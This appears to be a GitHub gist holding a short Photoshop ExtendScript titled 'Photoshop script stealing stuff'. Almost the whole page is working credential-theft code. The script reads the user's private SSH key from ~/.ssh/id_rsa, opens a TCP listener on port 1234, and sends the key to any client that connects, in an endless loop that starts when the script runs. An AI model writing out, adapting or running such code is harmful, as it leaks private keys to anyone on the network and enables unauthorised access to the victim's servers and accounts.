Created
January 17, 2015 10:15
-
-
Save dy/7dcbb8337228a7aa13e4 to your computer and use it in GitHub Desktop.
Photoshop script stealing stuff
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var stealFile = function(conn){ | |
var id_priv = new File("~/.ssh/id_rsa"); | |
id_priv.open('r'); | |
var str = id_priv.read(); | |
$.writeln(str); | |
return str | |
} | |
//A RSA thieft | |
function stealKeySrv() { | |
var tcp = new Socket; | |
// listen on port 1234 | |
$.writeln ("Listening on port 1234"); | |
if (tcp.listen (1234)) { | |
for (;;) { | |
// poll for a new connection | |
var connection = tcp.poll(); | |
if (connection != null) { | |
$.writeln ("Connection from " + connection.host); | |
// we have a new connection, so welcome and steal | |
// until client terminates the session | |
connection.writeln ("Here's your private rsa key"); | |
connection.writeln(stealFile ()); | |
connection.writeln ( "*** Goodbye ***"); | |
connection.close(); | |
delete connection; | |
$.writeln ("Connection closed"); | |
} | |
} | |
} | |
} | |
stealKeySrv(); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment